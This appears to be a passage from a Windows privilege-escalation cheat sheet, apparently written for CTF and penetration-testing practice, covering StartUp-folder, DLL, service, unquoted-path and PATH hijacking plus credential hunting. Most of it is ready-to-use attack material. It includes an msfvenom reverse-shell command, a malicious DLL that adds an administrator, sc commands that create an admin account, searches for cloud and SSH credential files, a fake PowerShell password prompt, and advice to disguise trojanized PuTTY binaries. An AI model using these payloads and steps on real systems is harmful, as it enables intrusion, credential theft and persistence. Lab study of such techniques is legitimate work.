PowerUp cannot detect this! Instead we have to use icacls.exe:

icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"

Note User has <F> permission.

Exploit - Msfvenom

Generate a msfvenom payload. For example:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.17.191 LPORT=443 -f exe > y.exe

Then copy y.exe to the path C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\.

When an Admin logins, an admin shell will call back to the listener.

DLL Hijacking

Detection - Process Monitor

DLL is a share library in Windows. It is similar to an executable.

To find a possible DLL Hijacking, use Process Monitor:

  • (Include) Path ends with .dll

  • (Include) Result is NAME NOT FOUND

  • (Exclude) Path contains C:\Windows\System32

A vulnerable example:

We can further check the folder permission:

icacls C:\Temp\

All authenticated users have <M> permission. (ref: https://theitbros.com/using-icacls-to-list-folder-permissions-and-manage-files/)

Exploit - Generated DLL

Compile a DLL. For example:

// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h>

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe /k net localgroup administrators user /add");
        ExitProcess(0);
    }
    return TRUE;
}

Compile:

x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll

Service Binary Path

Detection - PowerUp and Accesschk

First use PowerUp and inspect the [*] Checking service permissions... section:

The most notable permission is CanRestart: True

Then use accesschk.exe to check:

accesschk.exe /accepteula -uwcv "Authenticated Users" *
accesschk.exe /accepteula -uwcv "Everyone" *

Then see the full config of the service:

accesschk.exe /accepteula -uwcv daclsvc

Note the permission SERVICE_CHANGE_CONFIG. We can leverage this permission to escalate our privilege.

Exploit - sc

First query the service (daclsvc for example):

sc qc daclsvc

Modify the BinPath:

sc config daclsvc binpath= "net user pwned P@ssw0rd /add"

Then start the service

sc start daclsvc

Do once again:

sc config daclsvc binpath= "net localgroup administrators pwned /add"
sc start daclsvc

Unquoted Service Path

Detection - PowerUp

Again use PowerUp.ps1 to check - note the section Checking for unquoted service paths

For example, in the screenshot above, for the service unquotedsvc, Windows service will search for the executable recursively:

  • C:\Program.exe

  • C:\Program Files\Unquoted.exe

  • C:\Program Files\Unquoted Path Service\Common.exe

  • ...

If we have write permission somewhere in the path, we can put an malicious executable there, which will be run by service.exe (SYSTEM) when the service starts.

Also check the service permission:

sc query unquotedsvc

Exploit - msfvenom

Check the permission of each possible paths:

icacls C:\ icacls "C:\Program Files\" icacls "C:\Program Files\Unquoted Path Service\"

Generate a reverse shell executable. Using the above example, we will put Common.exe in the path:

C:\Program Files\Unquoted Path Service\Common.exe

When the service restarts, a reverse shell will call back.

sc stop unquotedsvc
sc start unquotedsvc

Unattend.xml

Detection - where method

On cmd.exe:

where /R C:\ "unattend.xml"

For example:

Then we can use powershell:

Get-Content C:\Windows\Panther\Unattend.xml | Select-String -Pattern '<Password>' -Context 1,6

The found password would be in Base64 format. Just simply decode it and try to authenticate using the credential.

Low Hanging Passwords / X Files

Points to note:

  • Check if there are other drives as well

  • Note the language used by the owner

    • e.g. Password = 密碼 in Chinese

Find file names with passw

dir /b /a /s c:\ > C:\Users\Public\c-dirs.txt
type C:\Users\Public\c-dirs.txt | findstr /i passw

The X Files:

type C:\Users\Public\c-dirs.txt | findstr /i ssh
type C:\Users\Public\c-dirs.txt | findstr /i kdbx
type C:\Users\Public\c-dirs.txt | findstr /i vnc

Other targets:

  • install, backup, .bak, .log, .bat, .cmd, .vbs, .cnf, .conf, .config, .ini, .xml, .txt, .gpg, .pgp, .p12, .der, .csr, .cer, id_rsa, id_dsa, .ovpn, .rdp, vnc, ftp, ssh, vpn, git, .kdbx, .db

  • unattend.xml

  • Unattended.xml

  • sysprep.inf

  • sysprep.xml

  • VARIABLES.DAT

  • setupinfo

  • setupinfo.bak

  • web.config

  • SiteList.xml

  • .aws\credentials .

  • .azure\accessTokens.json

  • .azure\azureProfile.json

  • gcloud\credentials.db

  • gcloud\legacy_credentials

  • gcloud\access_tokens.db

Registry 2

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
reg query "HKCU\Software\OpenSSH\Agent\Keys"
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

Prompt the user for password

  • Need user's interaction

powershell "$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password"

Insecure Folders / Files

accesschk.exe -accepteula -uws "Users" C:\*.* > C:\Users\Public\fld-user.txt
accesschk.exe -accepteula -uws "Users" C:\*.* > C:\Users\Public\fld-authuser.txt

This technique is not specifically useful in CTF, but in real scenarios.

For example, you may find common tools like PUTTY.exe / OpenSSH etc, where the user will use frequently. Then we can replace them with a trojanized version, and use ResourceHacker to make the EXE look exactly the same as the legit one.

System PATH hijack

reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment"
set

set command will show you the PATH in user level, but the reg query above will show you the PATH in SYSTEM level.

If something in the SYSTEM PATH can be modified / written, quick win! For example, if see PATH=C:\Tools;C:\Windows\System32...., we may try to inspect the permission of the first one:

icacls C:\Tools

If we see (M) / (W), we can put trojanized common executable like notepad, cmd, etc in that folder!

When a high privilege user uses those common executable, the system will run the trojanized version instead.

Services without a Binary

autorunsc64.exe -a s | more

Look for File NOT FOUND entries

Use sc query and sc qc to the service name to see if we can hijack the service binary.

We can always use icacls to check folder / binary permission.

Tasks without file

autorunsc64.exe -a t | more

Again look for FILE NOT FOUND

After getting the taskname, get more info:

schtasks /query /tn <taskname> /xml

Check the <exec> portion to see if it is possible to hijack.

Side note: To check SID real user:

wmic useraccount where sid='S-1-5-21-3461203602-4096304019-2269080069-1003'
wmic useraccount where sid='S-1-5-21-3461203602-4096304019-2269080069-1003' get name 

Or reverse:

wmic useraccount where name='admin' get sid

UACME

https://github.com/hfiref0x/UACME

Last updated